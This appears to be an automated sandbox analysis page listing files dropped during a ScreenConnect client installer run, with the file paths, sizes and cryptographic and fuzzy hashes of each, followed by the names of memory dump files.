SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 6d46ee82f9cd921664726d85953eab408e614a46601eb840a4e333c77c364fd6
MD5 1bdfe824a95e9907a44731f0fc0e378f
SHA1 0432c52f8db5f64b309846bc67dba6927b4b50d5
SHA512 6f3d7111d6a887b84faa9afff875828429d4f5569a3025e33413a738f794827a0b7ce349f90d8d62118ba7a3a1af1fd01fc61e0b4da1bfb4e482bb1e1d6154ed
SSDEEP 384:nFiFmZcIk3sNP8TUNTUlI4CaKMFsmXuw2fLBCv4ikA6dvumkl3tgOIwZOyaLlgLO:MF0k3mwgqUmuBCv4w6ldkdXsplN
TLSH
T1C2C24B72ECA8DABBECEB4AD9B74A3603DEF04163DA8C9AD4D5D91D1D009719D030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 b9268156b5f06ac586db04932b0782f7c4b61fce68b7d26608af64c3ae0a64f9
MD5 c91f500596ffa15fd59ae28e8d80026d
SHA1 3d2a434d8b34d81847d083a7ac1368de93ffc2be
SHA512 efcb658c63155d43e9e41eda40d4507278ed4d764584c79459425b93f5cc3844e75c7c4d9e9da2a9d71d5e8aaf72d636b37746aaf3280aad2c7689841e215881
SSDEEP 384:nFiFPZcIYsNP8TUNTUlI4CaKMXsmXuw2fLBCv4ikA6dvuqkl3tgOIwZOyaLlgL/m:MFHYmwgqamuBCv4w6l9kdXsplN
TLSH
T15BC24B32ECA8DABBECEB4AD9B74A3603DEF04163DA8C9AD4D5D95D1D009719D030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 79f17e235dc4362f13906f9c616eb99c559694debdcad85acff09751685cb91c
MD5 8c4d6179e10e8f73b9509603c729fda1
SHA1 96601afd4a60a815ed0f6c79ebdff85931405173
SHA512 5d81a98909f8dd79fa8941f7a087a9dcfeb03ee5fb218ca00f98072586bee80b5869f92ab06a5af2db2eef5dd3d85707c26e0d7497d5a77704332e9cd5c48685
SSDEEP 384:nniFwZcIZsNP8TUNTUlI4CaKMksmXuw2fLBCv4ikA6dvuqkl3tgOIwZOyaLlgL/m:iFOZmwgqdmuBCv4w6l9kdXsplN
TLSH
T1BFC24B32ECA8DABBECEB4AD9B74A7603DEF04163DA8C9AD4D5D91D1D009719D030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 079e5aa8a3401c5ead84fc6dc926db7f109c3ca8e6259678d87c7c6caf7842f0
MD5 e8094f773848e3a395a91d4d70147a0d
SHA1 7a266fd512d2b14b9d755ff104cff7d256e8d750
SHA512 bfca4c3d8b28e2a47fc9e3a9a90a2e9aaf470e8a1fbf520040608e80594a009150bedde3be17df02120a1461d34140f823415cbfffe2a6ba4b155c8025d3c78e
SSDEEP 384:nNiFyZcIsasNiF8TUNTUlI4CaKMbomXuw2fLBCv4ikA6dvu7ml3tgOIwZOyaLlgS:EFAJTFwgqmmuBCv4w6lYmdXsplN
TLSH
T165E2A3F298D789B7D8AE4B87A73D2E0299FCC113B5885994B7D81C1DCC961BFC30A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 41312f66133a5e3714995d2659e3f0127f0bc516f98b225305fe22211413ea29
MD5 bfadfa518252bbf34b8e7b5e428b2084
SHA1 4672a8ab3b7130b99c2adb5f21aea5818c74b844
SHA512 d1f5784beb73ccc33469e5616edd0a1de52ee40704e99a233838af4ac9b35290846a9af2a17d5b931d452825c26ffdc8a3f362e9d5371666c8115c875e7d1146
SSDEEP 384:nniFPZcIYsNP8TUNTUlI4CaKMXsmXuw2fLBCv4ikA6dvuqkl3tgOIwZOyaLlgL/m:iFHYmwgqamuBCv4w6l9kdXsplN
TLSH
T1E4C24B32ECA8DABBECEB4AD9B74A3603DEF04163D98C9AD4D5D95D1D009719D030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 6cec86473fe3f7e187f62deb6bc92d2d79227cca8865e59f6b7083f2a6613e38
MD5 18cf3292d6a06ddbe7cf8eb2bd99db56
SHA1 220896130c2ad419bcfed869f12c43ba3cd7d801
SHA512 0e8816a44d368b2f7e5f4790755372a2fe1e4e085678b2cf28f14645a1cf4f98ae34b18fe9ae00439994ad9bc19fd7f1959a36a43303e37fa9d02ba521235ca2
SSDEEP 384:nKiFiZcI63sNs8TUNTUlIm2aKMid4w2fLBCv4ikA6d/Xvsa+VYMdgL/7IzGoR:BFQ63BwgcYoBCv4w6BXvhgKa
TLSH
T1ECC24A32EC98D9ABE8FA4FDAAB4A7703DEF40163959C5AD4DAD81C1D00971DD0307C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 26f4de4b19a79ce2ae21c8898d700c911c40e45b1f9ee05b7cb74b8b87fe9d09
MD5 1d0fc53fa4a795f3fa132834b6ec883c
SHA1 e88b5f843b719426c97d9a9e4fad437d713cf683
SHA512 acb231b8d277bea9905af3b260ed49a46b7ef68b818638de90730456485b73b7395d163714026ba6d7c911ebf7ae2301376c2cc89940bcbccd6ad317edd14cf7
SSDEEP 384:nNiFPZcIsXsNP8TUNTUlI4CaKMbomXuw2fLBCv4ikA6dvuOsl3tgOIwZOyaLlgLO:EFHcmwgqmmuBCv4w6lNsdXsplN
TLSH
T11AE292F298D789B7D8AE4B87A73D2E0299FCC113B5885994B7D81C1DCC961BFC30A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 5b9b65dbd0e82c6767fa58644fcb1f5e390619fbe46ed2a7371c4458aed7d780
MD5 36fb0cbed5a176f753f907780743912d
SHA1 dce630fd8811e8d34963ecdee40f62413354c64e
SHA512 ed873b0ba6e77457ac78da6aa9bbebf14dcf4a1bd5e991648a8f83a0eefff0ac41a4e54b646ddcd5d15dd1bc653c7d1c39e686a9122195e5eee558e32601964f
TLSH
T11D412858B6FD1148B3B76E565BF6A86E487BBD772E06C05D10110E4F0A22E41CCB1B37
MD5 SHA1 SHA512 TLSH

Submit Download

CustomAction.config

Path C:\Users\Admin\AppData\Local\Temp\MSIA0D5.tmp-\CustomAction.config
Size 234B
SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
MD5 6f52ebea639fd7cefca18d9e5272463e
SHA1 b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3
SHA512 b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a
TLSH
T18CD0A70405D0FD1B5E231A2337524559FF34B1E290A44408B06F3A130A220CD4757317
MD5 SHA1 SHA512 TLSH

Submit Download

MSIA8F8.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSIA8F8.tmp
Size 1.0MB
SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
MD5 81f945dabc576ca389348a4e7147463f
SHA1 1876786194d49de92fff0b523f0c6280bdf94e22
SHA512 3f72d5a6f482757484b0c06cb5c1e6e018a4051fe43086f77f6ea8e61ee0d08afc0ec96eac5cb01e2d8dfdabe9115d7c277cd87b7ccf9bb02bd8da0e9556504a
SSDEEP 24576:QUUGG4DlIQMi4CJXxCHzCrvPfU8GWng+A2tuHt+pbW/aU0r1d:jG4DlItQ5xJrvPfU8VgJwW/zAd
TLSH
T19D35234832E58439E2A73A320CB6A6B125BC74773670D45FA78B4A1D5FB0AD1DE31327
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIA8F8.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIA8F8.tmp-\ScreenConnect.Core.dll
Size 538KB
SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
MD5 1db8b9fa0bdcbfaab807f715c288c19a
SHA1 fde73710ce063bbf1e377c02a1a8615cf4da1c08
SHA512 fc132764026c682e8fac1a97171731d54880c8d95566c486c731c880e750a29875ac208fb4b4dc2897dfc49beb24f77af016d846c78be75df159d3542600eb73
SSDEEP 6144:SfoUrkyyvsbvpSLmwJUoqnoezGMZf1y99tg03Xdedu1h+xE5vce/6OdCatxq/trJ:SfpkywYszKoIzGafzece/6yx/Oek
TLSH
T144C47D9233B48B2FCABF5B7BE42454980770E901F209EB5B1AD6D4BC5F633854E412E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIA8F8.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
MD5 454b489378d49d17021b3e85f86ae843
SHA1 8a208ddbcd5609b2a8d2dad34a6894396e806d51
SHA512 24ee8ed25df1d43169e9c762b5e1cbaa1e0150bb07387ac5ebeda6f19b83ecbe38342fe01259ca373bcfccb653ea6533395b88a4bce29aee7354815d5253538b
SSDEEP 192:b8/Qp6lCJuV3j/XtyVNamVNG1YZfCrMmbfHJ7kjvLHbuLd9NEFb5lZ:I/cBJaDXt2NaheUrMmb/FkjvLHbuZslZ
TLSH
T1A132D50077DC533AE8BE0F789EB762910A71FB64A011DF2E18CC91569C36744AEA07B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIA8F8.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
MD5 94216eb90ca53fbb175f0ee6adbfb663
SHA1 48038f060a5042ff44a2d9a9be46368ecc8436fd
SHA512 c6c7e2a63eaccc5703acf4cb482a9e441fb6e670a9086d3ade558a597b1fd6c17f5e5b7027d835b80ebf2c071f9442bde466f313ddb8456fe0d3e4db6d53b041
SSDEEP 24576:VDhFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:VDhJkGYYpT0+TFiH7efP
TLSH
T14B85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi.crdownload

Path C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi.crdownload
Size 12.9MB
SHA256 e1a6988d51d98f1027149663d171b64e13eaefe2fafc34bf20719900a105ed70
MD5 470cc98ea7b4ced4e92244a57ff821db
SHA1 9cc8fea6fce33f47df9acf80b742cbc3d69c490d
SHA512 b6a15ba9e379ed433a7fd025654f3e553122369644d04adfd78c2fbd44de17de4491c509100e94fad0f1db7937c388f9795ab21c3b241a337886182575b83b65
SSDEEP 196608:AHxcp9ym3cltDUJVZHxcp9ym3bHxcp9ym3JHxcp9ym3MHxcp9ym3KHxcp9ym3JH/:uGpapiGplGpbGpqGpYGpbGp4
TLSH
T11BD623116BF89678F0F26A35E876A0B1A5377C125E22D12E2324791E2C75EC0C9B3777
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIEB32.tmp

Path C:\Windows\Installer\MSIEB32.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{c94f6e4e-709c-4954-97a4-07873d1f1a7c}_OnDiskSnapshotProp

Path \??\Volume{7d83d395-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c94f6e4e-709c-4954-97a4-07873d1f1a7c}_OnDiskSnapshotProp
Size 6KB
SHA256 ae328d46f07f328ccdb158173d7fdb7bd7ba094cb9ca8883639e168bbc5886da
MD5 04ced99a6dc969f2b00e955e887b9818
SHA1 aa1b002507bd41c8775c3e173140c767af4a5d62
SHA512 5a030ba0d42fa2e33a3c32f4e917015dcc542fc20169cb49d5e31a2f329028db42513281f0e7a01df09b766232bfbb3d5da5a245daa6a49e0123980e95d39319
SSDEEP 96:FETKZ4h2kvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:mXb++ZVm
TLSH
T13FD1790C5AE54711E2B3AB7129F14557A877B811EF33CB8E0198238E6670A10F976F5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/712-384-0x00000000039B0000-0x0000000003A00000-memory.dmp

Download

memory/712-394-0x0000000003CE0000-0x0000000003D72000-memory.dmp

Download

memory/712-396-0x0000000003A40000-0x0000000003A81000-memory.dmp

Download

memory/712-398-0x0000000003EC0000-0x0000000003F95000-memory.dmp

Download

memory/712-390-0x0000000003A00000-0x0000000003A36000-memory.dmp

Download

memory/712-373-0x00000000011C0000-0x00000000011D8000-memory.dmp

Download

memory/1816-202-0x0000025FDB620000-0x0000025FDC620000-memory.dmp

Download

memory/3036-417-0x000000001BB90000-0x000000001BC1C000-memory.dmp

Download

memory/3036-421-0x0000000001420000-0x0000000001438000-memory.dmp

Download

memory/3036-420-0x00000000013A0000-0x00000000013B8000-memory.dmp

Download

memory/3036-419-0x000000001BF80000-0x000000001C106000-memory.dmp

Download

memory/3036-418-0x000000001BDD0000-0x000000001BF7C000-memory.dmp

Download

memory/3036-415-0x0000000000B50000-0x0000000000BE8000-memory.dmp

Download

memory/3036-416-0x00000000013C0000-0x00000000013F6000-memory.dmp

Download

memory/5764-311-0x0000000005D20000-0x00000000062C4000-memory.dmp

Download

memory/5764-310-0x00000000055C0000-0x000000000576C000-memory.dmp

Download

memory/5764-306-0x0000000002FB0000-0x000000000303C000-memory.dmp

Download

memory/5764-302-0x0000000002F10000-0x0000000002F1A000-memory.dmp

Download

memory/5764-298-0x0000000002ED0000-0x0000000002EFE000-memory.dmp

Download